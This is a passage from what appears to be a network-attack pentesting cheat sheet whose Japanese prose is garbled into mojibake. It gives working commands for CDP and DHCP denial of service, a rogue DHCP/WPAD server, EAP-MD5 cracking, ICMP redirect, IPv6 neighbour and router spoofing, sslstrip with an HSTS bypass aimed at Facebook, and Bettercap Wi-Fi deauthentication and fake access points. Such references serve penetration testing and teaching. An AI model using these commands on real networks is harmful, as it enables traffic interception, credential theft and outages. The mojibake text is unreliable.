ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP Attacks
CISCO Discovery Protocol (CDP) 㯠CISCO ããã€ã¹éã®éä¿¡ã«äžå¯æ¬ ã§ãããã€ã¹ããäºãã èå¥ãèšå®æ å ±ãå ±æãã ããšãå¯èœã«ããŸãã
Passive Data Collection
CDP ã¯å šããŒããéããŠæ å ±ããããŒããã£ã¹ãããããã«èšå®ãããŠãããããã¯ã»ãã¥ãªãã£äžã®ãªã¹ã¯ã«ã€ãªããå¯èœæ§ããããŸããæ»æè ãã¹ã€ããã®ããŒãã«æ¥ç¶ãããšãWiresharkãtcpdumpããŸã㯠Yersinia ã®ãããªãããã¯ãŒã¯ã¹ãããã¡ãå±éããããšãã§ããŸãããã®æäœã«ããããããã¯ãŒã¯æ©åšã®ã¢ãã«ãå®è¡ããŠãã Cisco IOS ã®ããŒãžã§ã³ãªã©ãæ©åšã«é¢ããæ©å¯ããŒã¿ãæããã«ãªãå¯èœæ§ããããŸããæ»æè ã¯ãã®ç¹å®ããã Cisco IOS ããŒãžã§ã³ã®è匱æ§ãçããããããŸããã
Inducing CDP Table Flooding
ããæ»æçãªã¢ãããŒãã§ã¯ãæ£åœãª CISCO ããã€ã¹ãè£ ã£ãŠã¹ã€ããã®ã¡ã¢ãªãå§åããDenial of Service (DoS) æ»æã仿ããããšãå«ãŸããŸãã以äžã¯ãã¹ãçšãããã¯ãŒã¯ããŒã«ã§ãã Yersinia ã䜿çšããŠãã®ãããªæ»æãéå§ããããã®ã³ãã³ãåã§ãïŒ
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
ãã®æ»æã§ã¯ãã¹ã€ããã®CPUãšCDP neighbor tableã«å€§ããªè² è·ãããããéå°ãªãªãœãŒã¹æ¶è²»ã«ãããã°ãã°**ããããã¯ãŒã¯éº»çºã**ãåŒãèµ·ãããŸãã
CDP Impersonation Attack
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
You could also use scapy. Be sure to install it with scapy/contrib package.
VoIP æ»æãš VoIP Hopper ããŒã«
VoIP phones ã¯ãIoT ããã€ã¹ãšãŸããŸãçµ±åãããŠãããç¹å®ã®é»è©±çªå·ãä»ããŠãã¢ã®è§£é ããµãŒã¢ã¹ã¿ããã®å¶åŸ¡ãªã©ã®æ©èœãæäŸããŸãããããããã®çµ±åã¯ã»ãã¥ãªãã£ãªã¹ã¯ãåŒãèµ·ããå¯èœæ§ããããŸãã
ããŒã« voiphopper ã¯ãããŸããŸãªç°å¢ïŒCisco, Avaya, Nortel, Alcatel-LucentïŒã§ VoIP phone ããšãã¥ã¬ãŒãããããèšèšãããŠããŸããCDPãDHCPãLLDP-MEDã802.1Q ARP ãªã©ã®ãããã³ã«ã䜿çšããŠãé³å£°ãããã¯ãŒã¯ã® VLAN ID ãæ€åºããŸãã
VoIP Hopper 㯠Cisco Discovery Protocol (CDP) ã«å¯ŸããŠ3ã€ã®ã¢ãŒããæäŸããŸãïŒ
- Sniff Mode (
-c 0): ãããã¯ãŒã¯ãã±ãããè§£æã㊠VLAN ID ãç¹å®ããŸãã - Spoof Mode (
-c 1): å®éã® VoIP ããã€ã¹ã®ãã±ãããæš¡å£ããã«ã¹ã¿ã ãã±ãããçæããŸãã - Spoof with Pre-made Packet Mode (
-c 2): ç¹å®ã® Cisco IP phone ã¢ãã«ãšåäžã®ãã±ãããéä¿¡ããŸãã
é«éåã®ããã«æšå¥šãããã¢ãŒãã¯3çªç®ã§ããæ¬¡ãæå®ããå¿ èŠããããŸãïŒ
- æ»æè
ã®ãããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ïŒ
-iãã©ã¡ãŒã¿ïŒã - ãšãã¥ã¬ãŒããã VoIP ããã€ã¹ã®ååïŒ
-Eãã©ã¡ãŒã¿ïŒãCisco ã®åœåãã©ãŒãããã«åŸããŸãïŒäŸ: SEP ã«ç¶ã㊠MAC ã¢ãã¬ã¹ïŒã
äŒæ¥ç°å¢ã§ã¯ãæ¢åã® VoIP ããã€ã¹ãæš¡å£ããããã«æ¬¡ã®ãããªæ¹æ³ããããŸãïŒ
- é»è©±æ©ã® MAC ã©ãã«ã確èªããã
- é»è©±æ©ã®è¡šç€ºèšå®ãæäœããŠã¢ãã«æ å ±ã確èªããã
- VoIP ããã€ã¹ãã©ãããããã«æ¥ç¶ããWireshark ã§ CDP ãªã¯ãšã¹ãã芳å¯ããã
3çªç®ã®ã¢ãŒãã§ããŒã«ãå®è¡ããäŸã¯æ¬¡ã®ãšããã§ãïŒ
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
DHCP æ»æ
åæ
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
Two types of DoS 㯠DHCP ãµãŒãã«å¯ŸããŠå®è¡ã§ããŸããæåã®æ¹æ³ã¯ãååãªæ°ã®åœãã¹ããã·ãã¥ã¬ãŒãããŠãã¹ãŠã®å©çšå¯èœãªIPã¢ãã¬ã¹ã䜿ãæããããšã§ãã
ãã®æ»æã¯ãDHCP ãµãŒãã®å¿çã確èªã§ãããããã³ã«ïŒDiscover (Comp) â> Offer (server) â> Request (Comp) â> ACK (server)ïŒãå®äºã§ããå Žåã«ã®ã¿æç«ããŸããäŸãã°ããã㯠Wifi networks ã§ã¯äžå¯èœã§ãã
å¥ã® DHCP DoS ã®æ¹æ³ã¯ãéä¿¡å ã«ããåŸããã¹ãŠã®IPãçšãã DHCP-RELEASE packet ãéä¿¡ããããšã§ãããããšããµãŒãã¯å šå¡ããã®IPã®äœ¿çšãçµäºãããšå€æããŸãã
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
ãããããèªååããŠè¡ãæ¹æ³ãšããŠãããŒã«DHCPingã®äœ¿çšãããã
åè¿°ã®DoSæ»æã䜿ããã¯ã©ã€ã¢ã³ãã«ç°å¢å ã§æ°ãããªãŒã¹ãååŸãããæ£èŠã®ãµãŒããŒãæ¯æžãããŠå¿çäžèœã«ããããšãã§ãããæ£èŠã®ãµãŒããŒã忥ç¶ã詊ã¿ããšãæ¬¡ã®æ»æã§è¿°ã¹ãæªæã®ããå€ãæäŸããããšãã§ããã
æªæã®ããå€ãèšå®ãã
äžæ£ãª DHCP ãµãŒããŒã¯ /usr/share/responder/DHCP.py ã«ãã DHCP ã¹ã¯ãªããã䜿ã£ãŠã»ããã¢ããã§ãããããã¯ãã©ãã£ãã¯ãæªæãããµãŒããŒã«ãªãã€ã¬ã¯ãã㊠HTTP ãã©ãã£ãã¯ãèªèšŒæ
å ±ããã£ããã£ãããªã©ã®ãããã¯ãŒã¯æ»æã«æçšã ããã ããäžæ£ãªã²ãŒããŠã§ã€ãèšå®ããŠã广ã¯èããã¯ã©ã€ã¢ã³ãããã®ã¢ãŠãããŠã³ããã©ãã£ãã¯ããååŸã§ãããå®éã®ã²ãŒããŠã§ã€ããã®å¿çãèŠéããŠããŸãããã®ããããã广çãªæ»æã«ã¯äžæ£ãª DNS ãŸã㯠WPAD ãµãŒããŒãèšå®ããããšãæšå¥šãããã
Below are the command options for configuring the rogue DHCP server:
- èªåã®IPã¢ãã¬ã¹ïŒã²ãŒããŠã§ã€åºåïŒ:
-i 10.0.0.100ã䜿çšããŠèªåã®ãã·ã³ã®IPãã²ãŒããŠã§ã€ãšããŠåºåããã - ããŒã«ã«DNSãã¡ã€ã³å: å¿
èŠã«å¿ããŠ
-d example.orgã䜿ã£ãŠããŒã«ã«DNSãã¡ã€ã³åãèšå®ããã - å
ã®ã«ãŒã¿ãŒ/ã²ãŒããŠã§ã€ã®IP:
-r 10.0.0.1ã䜿ã£ãŠæ£èŠã®ã«ãŒã¿ãŒãŸãã¯ã²ãŒããŠã§ã€ã®IPã¢ãã¬ã¹ãæå®ããã - ãã©ã€ããªDNSãµãŒããŒã®IP:
-p 10.0.0.100ã䜿ã£ãŠããªãã管çããäžæ£ãªDNSãµãŒããŒã®IPãèšå®ããã - ã»ã«ã³ããªDNSãµãŒããŒã®IP: å¿
èŠã«å¿ããŠ
-s 10.0.0.1ã䜿ã£ãŠã»ã«ã³ããªDNSãµãŒããŒã®IPãèšå®ããã - ããŒã«ã«ãããã¯ãŒã¯ã®ããããã¹ã¯:
-n 255.255.255.0ã䜿ã£ãŠããŒã«ã«ãããã¯ãŒã¯ã®ããããã¹ã¯ãå®çŸ©ããã - DHCPãã©ãã£ãã¯çšã€ã³ã¿ãŒãã§ãŒã¹:
-I eth1ã䜿ã£ãŠç¹å®ã®ãããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ã§DHCPãã©ãã£ãã¯ããªãã¹ã³ããã - WPADèšå®ã¢ãã¬ã¹:
-w âhttp://10.0.0.100/wpad.datâã䜿ã£ãŠWPADèšå®ã®ã¢ãã¬ã¹ãæå®ããWebãã©ãã£ãã¯ã®ååãè£å©ããã - ããã©ã«ãã²ãŒããŠã§ã€IPãåœè£
ãã:
-Sãå«ããŠããã©ã«ãã²ãŒããŠã§ã€ã®IPã¢ãã¬ã¹ãåœè£ ããã - ãã¹ãŠã®DHCPãªã¯ãšã¹ãã«å¿çãã:
-Rãå«ããŠãµãŒããŒããã¹ãŠã®DHCPãªã¯ãšã¹ãã«å¿çããããã«ããããã ããããã¯ãã€ãºã倧ããæ€åºãããããããšã«æ³šæããã
ãããã®ãªãã·ã§ã³ãæ£ãã䜿çšããããšã§ãäžæ£ãªDHCPãµãŒããŒãæ§ç¯ãããããã¯ãŒã¯ãã©ãã£ãã¯ã广çã«ååã§ããã
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
EAP æ»æ
Here are some of the attack tactics that can be used against 802.1X implementations:
- EAP çµç±ã§ã® Active brute-force ã«ãããã¹ã¯ãŒãç·åœããæ»æ
- äžæ£ãª EAP ã³ã³ãã³ããçšã㊠RADIUS ãµãŒããŒãæ»æãã **(exploits)
- EAP ã¡ãã»ãŒãžã®ãã£ããã£ãšãªãã©ã€ã³ã§ã®ãã¹ã¯ãŒãè§£æ (EAP-MD5 ãš PEAP)
- TLS èšŒææžæ€èšŒããã€ãã¹ããããã« EAP-MD5 èªèšŒã«ãã©ãŒã«ããã¯ïŒåŒ·å¶ïŒããã
- hub çã䜿ã£ãŠèªèšŒåŸã«æªæãããããã¯ãŒã¯ãã©ãã£ãã¯ãæ³šå ¥ãã
If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using:
eapmd5pass âr pcap.dump âw /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) æ»æ
FHRP (First Hop Redundancy Protocol) ã¯ããããåé·ã«ãŒãã£ã³ã°ã·ã¹ãã ãæ§ç¯ããããã«èšèšããããããã¯ãŒã¯ãããã³ã«ã®ã¯ã©ã¹ã§ããFHRP ã䜿çšãããšç©çã«ãŒã¿ãåäžã®è«çããã€ã¹ãšããŠçµ±åã§ãããã©ãŒã«ããã¬ã©ã³ã¹ãåäžãè² è·åæ£ãå¯èœã«ãªããŸãã
Cisco Systems ã®ãšã³ãžãã¢ã¯ã2 ã€ã® FHRP ãããã³ã«ãGLBP ãš HSRP ãéçºããŸããã
RIP
Routing Information Protocol (RIP) ã«ã¯ RIPãRIPv2ãRIPng ã® 3 ã€ã®ããŒãžã§ã³ãååšããŸããRIP ãš RIPv2 㯠UDP ã䜿çšããŠããŒã 520 ã§ãã¢ã«ããŒã¿ã°ã©ã ãéä¿¡ããŸãããRIPng 㯠IPv6 ãã«ããã£ã¹ããä»ã㊠UDP ããŒã 521 ã«ããŒã¿ã°ã©ã ããããŒããã£ã¹ãããŸããMD5 èªèšŒã®ãµããŒã㯠RIPv2 ã«å°å ¥ãããŸãããäžæ¹ãRIPng ã«ã¯ãã€ãã£ããªèªèšŒã¯çµã¿èŸŒãŸããŠãããã代ããã« IPv6 å ã®ãªãã·ã§ã³ã§ãã IPsec AH ããã³ ESP ãããã«äŸåããŸãã
- RIP and RIPv2: éä¿¡ã¯ããŒã 520 ã® UDP ããŒã¿ã°ã©ã ã§è¡ãããŸãã
- RIPng: IPv6 ãã«ããã£ã¹ããä»ã㊠UDP ããŒã 521 ã«ããŒã¿ã°ã©ã ããããŒããã£ã¹ãããŸãã
RIPv2 㯠MD5 èªèšŒããµããŒãããäžæ¹ã§ãRIPng ã«ã¯ãã€ãã£ããªèªèšŒããªããIPv6 ã® IPsec AH/ESP ãããã«äŸåããŠããç¹ã«æ³šæããŠãã ããã
EIGRP æ»æ
EIGRP (Enhanced Interior Gateway Routing Protocol) ã¯åçã«ãŒãã£ã³ã°ãããã³ã«ã§ãdistance-vector protocolïŒè·é¢ãã¯ãã«åïŒã§ããèªèšŒãèšå®ãããŠããã passive ã€ã³ã¿ãŒãã§ãŒã¹ãæ§æãããŠããªãå ŽåãäŸµå ¥è 㯠EIGRP ã«ãŒãã£ã³ã°ã«å¹²æžããã«ãŒãã£ã³ã°ããŒãã«ã®æ±æãåŒãèµ·ããå¯èœæ§ããããŸããããã«ãEIGRP ãããã¯ãŒã¯ïŒã€ãŸããªãŒãããã¹ã·ã¹ãã ïŒã¯ãã©ããã§ãŸãŒã³ã«ããåå²ããªããããæ»æè ãã«ãŒããæ³šå ¥ãããš ãã®ã«ãŒãã¯ãªãŒãããã¹ãª EIGRP ã·ã¹ãã å šäœã«æ¡æ£ããå¯èœæ§ãé«ããªããŸãã
EIGRP ã·ã¹ãã ãæ»æããã«ã¯ãæ£èŠã® EIGRP ã«ãŒã¿ãšã®ãã€ããŒé¢ä¿ã確ç«ããå¿ èŠããããããã«ããåºæ¬çãªæ å ±åéããããŸããŸãªæ³šå ¥ãŸã§å€ãã®å¯èœæ§ãéãããŸãã
FRRouting 㯠BGPãOSPFãEIGRPãRIP ãªã©ããµããŒãããä»®æ³ã«ãŒã¿ãå®è£ ããããšãå¯èœã«ããŸããæ»æè ã®ã·ã¹ãã ã«ããããããã€ããã ãã§ãã«ãŒãã£ã³ã°ãã¡ã€ã³å ã§æ£èŠã®ã«ãŒã¿ãè£ ãããšãã§ããŸãã
Coly 㯠EIGRP (Enhanced Interior Gateway Routing Protocol) ãããŒããã£ã¹ãã®ååæ©èœãæäŸããŸãããŸããã±ããæ³šå ¥ãå¯èœã§ããããå©çšããŠã«ãŒãã£ã³ã°èšå®ã倿Žã§ããŸãã
OSPF
Open Shortest Path First (OSPF) ãããã³ã«ã§ã¯ãã«ãŒã¿éã®å®å šãªéä¿¡ã確ä¿ããããã« MD5 èªèšŒãäžè¬çã«çšããããŸãããããããã®ã»ãã¥ãªãã£å¯Ÿç㯠Loki ã John the Ripper ã®ãããªããŒã«ã«ãã£ãŠç Žãããå¯èœæ§ããããŸãããããã®ããŒã«ã¯ MD5 ããã·ã¥ããã£ããã£ããŠã¯ã©ããã³ã°ã§ããèªèšŒããŒãé²åãããŸããäžæŠããŒãå ¥æããã°ãæ°ããã«ãŒãã£ã³ã°æ å ±ãæ³šå ¥ããããã«äœ¿çšã§ããŸããã«ãŒããã©ã¡ãŒã¿ã®èšå®ãšãç ŽãããããŒã®èšå®ã«ã¯ããããã Injection ã¿ããš Connection ã¿ãã䜿çšãããŸãã
- Capturing and Cracking MD5 Hashes: Loki ã John the Ripper ãšãã£ãããŒã«ã䜿çšãããŸãã
- Configuring Route Parameters: ãã㯠Injection ã¿ãã§è¡ããŸãã
- Setting the Compromised Key: ããŒã¯ Connection ã¿ãã§èšå®ããŸãã
ãã®ä»ã®äžè¬çãªããŒã«ãšæ å ±æº
- Above: ãããã¯ãŒã¯ãã©ãã£ãã¯ãã¹ãã£ã³ããŠè匱æ§ãçºèŠããããŒã«
- ãããã¯ãŒã¯æ»æã«é¢ãããããªãæ å ±ã¯ããã§ç¢ºèªã§ããŸãã
Spoofing
æ»æè ã¯åœã® DHCP å¿çãéä¿¡ããŠããããã¯ãŒã¯ã«åå ããæ°ããã¡ã³ãã®å šãŠã®ãããã¯ãŒã¯ãã©ã¡ãŒã¿ïŒGWãIPãDNSïŒãèšå®ããŸãã
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
Check the previous section.
ICMPRedirect
ICMP Redirectã¯ãattackerãããIPãžå°éããæè¯ã®çµè·¯ã§ããããšã瀺ãICMP packet type 1 code 5ãéä¿¡ããããšã§è¡ãããŸããvictimããã®IPã«æ¥ç¶ããããšãããšããã®packetã¯attackerçµç±ã§éãããŸãã
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
æ»æè ã¯ã被害è ãåãåããããã¡ã€ã³ã®ããã€ãïŒãŸãã¯ãã¹ãŠïŒãåå解決ããŸãã
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
dnsmasqã§ç¬èªã®DNSãæ§æãã
apt-get install dnsmasq
echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf
echo "127.0.0.1 domain.example.com" > dnsmasq.hosts
sudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
ããŒã«ã«ã²ãŒããŠã§ã€
ã·ã¹ãã ããããã¯ãŒã¯ãžã®è€æ°ã®çµè·¯ãååšããããšããããããŸããããŒã«ã«ãããã¯ãŒã¯å ã®MAC addressesã®ãªã¹ããäœæãããã_gateway-finder.py_ã䜿çšããŠIPv4 forwardingããµããŒããããã¹ããç¹å®ããŠãã ããã
gateway-finder ã®äœ¿çšäŸ
```bash root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ root@kali:~# arp-scan -l | tee hosts.txt Interface: eth0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 10.0.0.100 00:13:72:09:ad:76 Dell Inc. 10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION 10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99 gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] Using interface eth0 (-I to change) [+] Found 3 MAC addresses in hosts.txt [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
</details>
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
DNSã«ãã¯ã¢ããã倱æããå Žåã®ããŒã«ã«ãã¹ã解決ã«ã¯ãMicrosoft ã·ã¹ãã 㯠**Link-Local Multicast Name Resolution (LLMNR)** ã **NetBIOS Name Service (NBT-NS)** ã«äŸåããŸããåæ§ã«ã**Apple Bonjour** ã **Linux zero-configuration** ã®å®è£
ã¯ããããã¯ãŒã¯å
ã®ã·ã¹ãã ãçºèŠããããã« **Multicast DNS (mDNS)** ãå©çšããŸãããããã®ãããã³ã«ã¯èªèšŒãããŠããããUDPã§ãããŒããã£ã¹ãããããããæ»æè
ããŠãŒã¶ãŒãæªæãããµãŒãã¹ãžèªå°ããç®çã§æªçšã§ããŸãã
Responderã䜿ã£ãŠããã¹ããæ€çŽ¢ãããµãŒãã¹ã«å¯ŸããŠåœã®å¿çãéä¿¡ãããµãŒãã¹ããªãããŸãããšãã§ããŸãã\
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
ãã©ãŠã¶ã¯äžè¬çã« **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings** ã䜿ã£ãŠãããã·èšå®ãèªåååŸããŸããããã¯ã"http://wpad.example.org/wpad.dat" ã®ãããªURLããèšå®ãååŸããããšã䌎ããŸããã¯ã©ã€ã¢ã³ãããã®ãµãŒããæ€åºããæ¹æ³ã¯ããã€ããããŸã:
- **DHCP** çµç±ïŒç¹å¥ãªã³ãŒã252ãšã³ããªãå©çšããŠæ€åºãããïŒã
- **DNS** çµç±ïŒããŒã«ã«ãã¡ã€ã³å
ã§ _wpad_ ãšãããã¹ãåãæ€çŽ¢ããïŒã
- **Microsoft LLMNR and NBT-NS** çµç±ïŒDNSãæåããªãå Žåã®ãã©ãŒã«ããã¯æ©æ§ïŒã
ããŒã« Responder ã¯ãã®ãããã³ã«ãæªçšã㊠**malicious WPAD server** ãšããŠæ¯ãèããŸããDHCPãDNSãLLMNRãNBT-NS ãçšããŠã¯ã©ã€ã¢ã³ãã誀èªå°ããèªåã«æ¥ç¶ãããŸããTo dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
ãããã¯ãŒã¯å
ã§ããŸããŸãªãµãŒãã¹ãæäŸããŠããŠãŒã¶ãŒãéšããŠããã€ãã® **plain-text credentials** ãå
¥åãããããšããããšãã§ããŸãã**More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Neighbor Spoofing
ãã®æ»æã¯ IPv6 ã®äžçã«ããã ARP Spoofing ã«éåžžã«ãã䌌ãŠããŸãã被害è
ã« GW ã® IPv6 ã¢ãã¬ã¹ãæ»æè
ã® MAC ã¢ãã¬ã¹ãæã£ãŠãããšèª€èªãããããšãã§ããŸãã
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 Router Advertisement Spoofing/Flooding
äžéšã®OSã¯ããããã¯ãŒã¯äžã§éä¿¡ãããRA packetsããããã©ã«ãã§gatewayãèšå®ããŸããæ»æè ãIPv6 routerãšããŠå®£èšããã«ã¯ã次ã®ãããªæ¹æ³ã䜿çšã§ããŸãïŒ
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP spoofing
ããã©ã«ãã§ã¯ãäžéšã® OS ã¯ãããã¯ãŒã¯äžã® DHCPv6 ãã±ãããèªã¿åã£ãŠ DNS ãèšå®ããããšããŸãããããã£ãŠãæ»æè 㯠DHCPv6 ãã±ãããéä¿¡ããŠèªèº«ã DNS ãšããŠèšå®ããããšãã§ããŸããDHCP ã¯è¢«å®³è ã« IPv6 ã¢ãã¬ã¹ãæäŸããŸãã
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (fake page and JS code injection)
ã€ã³ã¿ãŒãããæ»æ
sslStrip
åºæ¬çã«ãã®æ»æã¯ãuserãHTTPããŒãžã«accessãããã®ããŒãžãHTTPSçãžredirectingããŠããå Žåã«è¡ãããŸãã
sslStripã¯ãHTTP connection with the client and a HTTPS connection with the serverãmaintainããããšã§ãéä¿¡ãplain textã§sniffã§ããããã«ããŸãã
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
More info here.
sslStrip+ and dns2proxy for bypassing HSTS
The difference between sslStrip+ and dns2proxy against sslStrip is that they will redirect for example www.facebook.com to wwww.facebook.com (note the extra âwâ) and will set the address of this domain as the attacker IP.
The goal of this technique is to avoid HSTS because wwww.facebook.com wonât be saved in the cache of the browser, so the browser will be tricked to perform facebook authentication in HTTP.
Note that in order to perform this attack the victim has to try to access initially to http://www.faceook.com and not https. This can be done modifying the links inside an http page.
More info here, here and here.
sslStrip or sslStrip+ doesnât work anymore. This is because there are HSTS rules presaved in the browsers, so even if itâs the first time that a user access an âimportantâ domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag includeSubdomains so the wwww.facebook.com example from before wonât work anymore as facebook.com uses HSTS with includeSubdomains.
TODO: easy-creds, evilgrade, metasploit, factory
TCP listen in port
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL ããŒãã§åŸ ã¡åã
ããŒãšèªå·±çœ²åèšŒææžãçæ
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
èšŒææžã䜿çšããŠåŸ ã¡åãã
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
èšŒææžã䜿çšããŠåŸ ã¡åãããã¹ãã«ãªãã€ã¬ã¯ããã
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
å Žåã«ãã£ãŠã¯ãã¯ã©ã€ã¢ã³ãã CA ãæå¹ãã©ããã確èªããå ŽåãCA ã«ãã£ãŠçœ²åãããå¥ã® hostname ã® certificate ãæäŸããããšãã§ããŸãã
å¥ã®è峿·±ããã¹ãã¯ãèŠæ±ããã hostname ã® certificate ã self-signed ã§æäŸããããšã§ãã
ä»ã«è©Šãã¹ãããšãšããŠã¯ãæå¹ãª certificate ã§çœ²åã詊ã¿ãããããæå¹ãª CA ã§ã¯ãªãå Žåãããããã¯æå¹ãª public key ã䜿ããdiffie hellman ã®ãããªïŒå®éã® private key ã§äœã埩å·ããå¿ èŠã®ãªãïŒã¢ã«ãŽãªãºã ã匷å¶çã«äœ¿çšãããããšã§ãããããŠã¯ã©ã€ã¢ã³ããå®éã® private key ã®ãããŒãïŒäŸãã° hashïŒãèŠæ±ãããšãã«ãåœã®ãããŒããè¿ããŠã¯ã©ã€ã¢ã³ãããããæ€èšŒããªãããšãæåŸ ããŸãã
Bettercap
äžè¬ç㪠Bettercap ã®ã³ãã³ã
```bash # Events events.stream off #Stop showing events events.show #Show all events events.show 5 #Show latests 5 events events.clearTicker (loop of commands)
set ticker.period 5; set ticker.commands âwifi.deauth DE:AD:BE:EF:DE:ADâ; ticker on
Caplets
caplets.show caplets.update
Wifi
wifi.recon on wifi.deauth BSSID wifi.show
Fake wifi
set wifi.ap.ssid Banana set wifi.ap.bssid DE:AD:BE:EF:DE:AD set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap
</details>
### ã¢ã¯ãã£ãæ¢çŽ¢ã®æ³šæç¹
UDPãã±ãããèŠæ±ãããããŒããæããªãããã€ã¹ã«éä¿¡ãããšãICMP (Port Unreachable) ãè¿ãããããšã«æ³šæããŠãã ããã
### **ARP æ¢çŽ¢**
ARPãã±ããã¯ãããã¯ãŒã¯å
ã§äœ¿çšãããŠããIPãçºèŠããããã«äœ¿ãããŸããPCã¯å¯èœãªåIPã¢ãã¬ã¹ã«å¯ŸããŠãªã¯ãšã¹ããéä¿¡ãã䜿çšäžã®ã¢ãã¬ã¹ã ããå¿çããŸãã
### **mDNS (multicast DNS)**
Bettercapã¯MDNSãªã¯ãšã¹ãïŒåX msããšïŒãéä¿¡ã㊠**\_services\_.dns-sd.\_udp.local** ãåãåãããŸãããã®ãã±ãããåãåã£ããã·ã³ã¯éåžžãã®èŠæ±ã«å¿çããŸããæ¬¡ã«ã"services" ã«å¿çãããã·ã³ã®ã¿ãæ€çŽ¢ããŸãã
**ããŒã«**
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
### **NBNS (NetBios Name Server)**
Bettercapã¯ããŒã137/UDPã«å¯Ÿããåå "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" ãåãåããããã±ããããããŒããã£ã¹ãããŸãã
### **SSDP (Simple Service Discovery Protocol)**
Bettercapã¯ããããçš®é¡ã®ãµãŒãã¹ãæ¢ãããã«SSDPãã±ããããããŒããã£ã¹ãããŸãïŒUDP ããŒã 1900ïŒã
### **WSD (Web Service Discovery)**
Bettercapã¯ãµãŒãã¹ãæ€çŽ¢ããããã«WSDãã±ããããããŒããã£ã¹ãããŸãïŒUDP ããŒã 3702ïŒã
## Bluetooth (L2CAP/ATT/GATT) æ»æ
- Android Fluorideã¯L2CAP PSMsäžã§ãµãŒãã¹ãå
